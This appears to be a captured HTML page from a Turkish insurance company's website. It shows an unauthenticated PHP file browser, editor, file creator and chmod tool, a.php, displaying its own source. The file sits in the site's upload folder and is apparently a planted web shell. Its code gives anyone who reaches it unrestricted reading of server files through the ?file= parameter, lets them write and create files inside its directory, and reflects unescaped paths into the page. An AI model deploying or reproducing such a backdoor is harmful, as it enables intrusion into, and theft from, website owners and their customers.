<h3>Dosya Düzenleme: a.php</h3><form method="post"><textarea name="filecontent" style="width:100%;height:400px;">&lt;?php
$root = __DIR__;
$style1='color:#000;';
$style2='color:#00a;font-weight:bold;';

function updir($ADir){
    $ADir = rtrim($ADir, '/');
    $ADir = substr($ADir, 0, strrpos($ADir, '/'));
    return $ADir;
}

/* --- DOSYA OLUŞTURMA --- */
if (isset($_POST['newfile']) &amp;&amp; isset($_POST['currentdir'])) {
    $dir = rtrim($_POST['currentdir'], '/').'/';
    $newFile = basename($_POST['newfile']);
    $newPath = $dir.$newFile;

    if (strpos(realpath($dir), realpath(__DIR__)) === 0) {
        if (!file_exists($newPath)) {
            file_put_contents($newPath, &quot;&quot;); // boş dosya oluştur
            echo &quot;&lt;div style='color:green;'&gt;Dosya oluşturuldu: $newFile&lt;/div&gt;&quot;;
            header(&quot;Location: ?file=&quot;.urlencode($newPath));
            exit;
        } else {
            echo &quot;&lt;div style='color:red;'&gt;Hata: Bu isimde bir dosya zaten var!&lt;/div&gt;&quot;;
        }
    } else {
        echo &quot;&lt;div style='color:red;'&gt;Geçersiz dizin!&lt;/div&gt;&quot;;
    }
}

/* --- DOSYA KAYDETME --- */
if (isset($_POST['save']) &amp;&amp; isset($_POST['filepath'])) {
    $filePath = $_POST['filepath'];

    if (strpos(realpath($filePath), realpath(__DIR__)) === 0 &amp;&amp; is_writable($filePath)) {
        file_put_contents($filePath, $_POST['filecontent']);
        echo &quot;&lt;div style='color:green;'&gt;Dosya başarıyla kaydedildi!&lt;/div&gt;&quot;;
    } else {
        echo &quot;&lt;div style='color:red;'&gt;Hata: Bu dosya düzenlenemez!&lt;/div&gt;&quot;;
    }
}

/* --- CHMOD 755 --- */
if (isset($_GET['chmod'])) {
    $target = $_GET['chmod'];
    if (file_exists($target) &amp;&amp; strpos(realpath($target), realpath(__DIR__)) === 0) {
        if (chmod($target, 0755)) {
            echo &quot;&lt;div style='color:green;'&gt;İzinler 755 olarak ayarlandı: &quot;.htmlspecialchars(basename($target)).&quot;&lt;/div&gt;&quot;;
        } else {
            echo &quot;&lt;div style='color:red;'&gt;Hata: İzinler değiştirilemedi.&lt;/div&gt;&quot;;
        }
    } else {
        echo &quot;&lt;div style='color:red;'&gt;Geçersiz dosya!&lt;/div&gt;&quot;;
    }
}

/* --- DOSYA DÜZENLEME --- */
if (isset($_GET['file'])) {
    $target = $_GET['file'];

    if (is_file($target)) {
        echo &quot;&lt;h3&gt;Dosya Düzenleme: &quot;.basename($target).&quot;&lt;/h3&gt;&quot;;
        echo '&lt;form method=&quot;post&quot;&gt;';
        echo '&lt;textarea name=&quot;filecontent&quot; style=&quot;width:100%;height:400px;&quot;&gt;'.htmlspecialchars(file_get_contents($target)).'&lt;/textarea&gt;&lt;br&gt;';
        echo '&lt;input type=&quot;hidden&quot; name=&quot;filepath&quot; value=&quot;'.htmlspecialchars($target).'&quot;&gt;';
        echo '&lt;input type=&quot;submit&quot; name=&quot;save&quot; value=&quot;Kaydet&quot; style=&quot;margin-top:10px;&quot;&gt;';
        echo ' &lt;a href=&quot;?file='.htmlspecialchars(updir($target)).'&quot;&gt;Geri Dön&lt;/a&gt;';
        echo '&lt;/form&gt;';
        exit;
    }

    $path = rtrim($target, '/').'/';
} else {
    $path = $root.'/';
}

/* --- DİZİN LİSTELEME --- */
echo &quot;&lt;h2&gt;PHP Dosya Tarayıcı + Düzenleyici + Oluşturucu + CHMOD&lt;/h2&gt;&quot;;
echo($root.'&lt;br&gt;');
echo($path.'&lt;hr&gt;');

echo '&lt;a href=&quot;?file='.updir($path).'&quot;&gt;..&lt;/a&gt;&lt;br /&gt;';

/* --- DOSYA OLUŞTURMA FORMU --- */
echo '&lt;form method=&quot;post&quot; style=&quot;margin:10px 0;&quot;&gt;';
echo '&lt;input type=&quot;hidden&quot; name=&quot;currentdir&quot; value=&quot;'.htmlspecialchars($path).'&quot;&gt;';
echo '&lt;input type=&quot;text&quot; name=&quot;newfile&quot; placeholder=&quot;Yeni dosya adı (örnek: test.txt)&quot; required&gt;';
echo '&lt;input type=&quot;submit&quot; value=&quot;Oluştur&quot;&gt;';
echo '&lt;/form&gt;&lt;hr&gt;';

/* --- DOSYA VE KLASÖRLERİ LİSTELE --- */
$p = $path.'*';
foreach (glob($p) as $file) {
    if (is_file($file)) {
        echo '&lt;a style=&quot;'.$style1.'&quot; href=&quot;?file='.$file.'&quot;&gt;'.basename($file).'&lt;/a&gt;';
        echo ' — &lt;a href=&quot;?chmod='.$file.'&quot; style=&quot;color:#070;&quot;&gt;[chmod 755]&lt;/a&gt;';
        echo '&lt;br /&gt;';
    } else {
        echo '&lt;a style=&quot;'.$style2.'&quot; href=&quot;?file='.$file.'&quot;&gt;'.basename($file).'&lt;/a&gt;&lt;br /&gt;';
    }
}
echo('&lt;hr&gt;');
?&gt;
</textarea><br><input type="hidden" name="filepath" value="/home/aliguna1/belicesigorta.com/upload_hizmetler/a.php"><input type="submit" name="save" value="Kaydet" style="margin-top:10px;"> <a href="?file=/home/aliguna1/belicesigorta.com/upload_hizmetler">Geri Dön</a></form>